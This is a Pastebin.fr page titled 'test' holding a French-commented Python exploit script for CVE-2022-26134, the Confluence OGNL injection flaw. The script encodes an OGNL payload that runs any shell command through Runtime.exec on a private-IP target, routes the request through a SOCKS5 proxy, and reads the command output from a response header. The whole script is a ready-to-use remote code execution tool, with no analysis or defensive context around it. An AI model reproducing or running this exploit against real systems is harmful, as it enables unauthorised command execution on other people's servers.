Logo Pastebin.fr
Pastebin

Retrouvez, créez et partagez vos snippets en temps réel.

test

import requests
import sys
import urllib.parse
import urllib3

# Désactive les avertissements SSL (utile si jamais la cible passe en HTTPS)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# --- CONFIGURATION ---
TARGET = "http://192.168.2.20:8090"
# Utilisation de socks5h pour résoudre les DNS via le proxy si besoin, sinon socks5 suffit pour les IPs
PROXIES = {
    "http": "socks5://127.0.0.1:1080",
    "https": "socks5://127.0.0.1:1080"
}

def send_command(cmd):
    print(f"[*] Envoi de la commande : {cmd}")

    # --- CONSTRUCTION DU PAYLOAD (CVE-2022-26134) ---
    # Note : On utilise des f-strings. Attention aux guillemets échappés (\") pour le code Java.
    # La structure est : .exec("TA_COMMANDE")
    payload = f"${{(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\"{cmd}\").getInputStream(),\"utf-8\")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\"X-Cmd-Response\",#a))}}"

    # Encodage URL du payload (essentiel pour que le serveur le traite)
    encoded_payload = urllib.parse.quote(payload)
    
    # Construction de l'URL finale
    full_url = f"{TARGET}/{encoded_payload}/"

    try:
        # allow_redirects=False est VITAL car le résultat est dans le header de la redirection 302
        r = requests.get(
            full_url, 
            proxies=PROXIES, 
            allow_redirects=False, 
            verify=False, 
            timeout=10
        )

        # --- ANALYSE DU RÉSULTAT ---
        if "X-Cmd-Response" in r.headers:
            print(f"\n[+] SUCCÈS ! Résultat :\n{'-'*40}")
            print(r.headers["X-Cmd-Response"])
            print(f"{'-'*40}\n")
        else:
            print("[-] Pas de header 'X-Cmd-Response'.")
            print(f"    Code HTTP reçu : {r.status_code}")
            print("    La commande a peut-être échoué ou ne renvoie rien (ex: ping).")

    except Exception as e:
        print(f"[!] Erreur de connexion : {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: python3 {sys.argv[0]} <commande>")
        print(f"Exemple: python3 {sys.argv[0]} 'id'")
        print(f"Exemple: python3 {sys.argv[0]} 'ls -la'")
    else:
        # Rejoint tous les arguments pour gérer les espaces (ex: ls -la /tmp)
        command = " ".join(sys.argv[1:])
        send_command(command)

Créé il y a 1 semaine.

Rechercher un Pastebin

Aucun paste trouvé.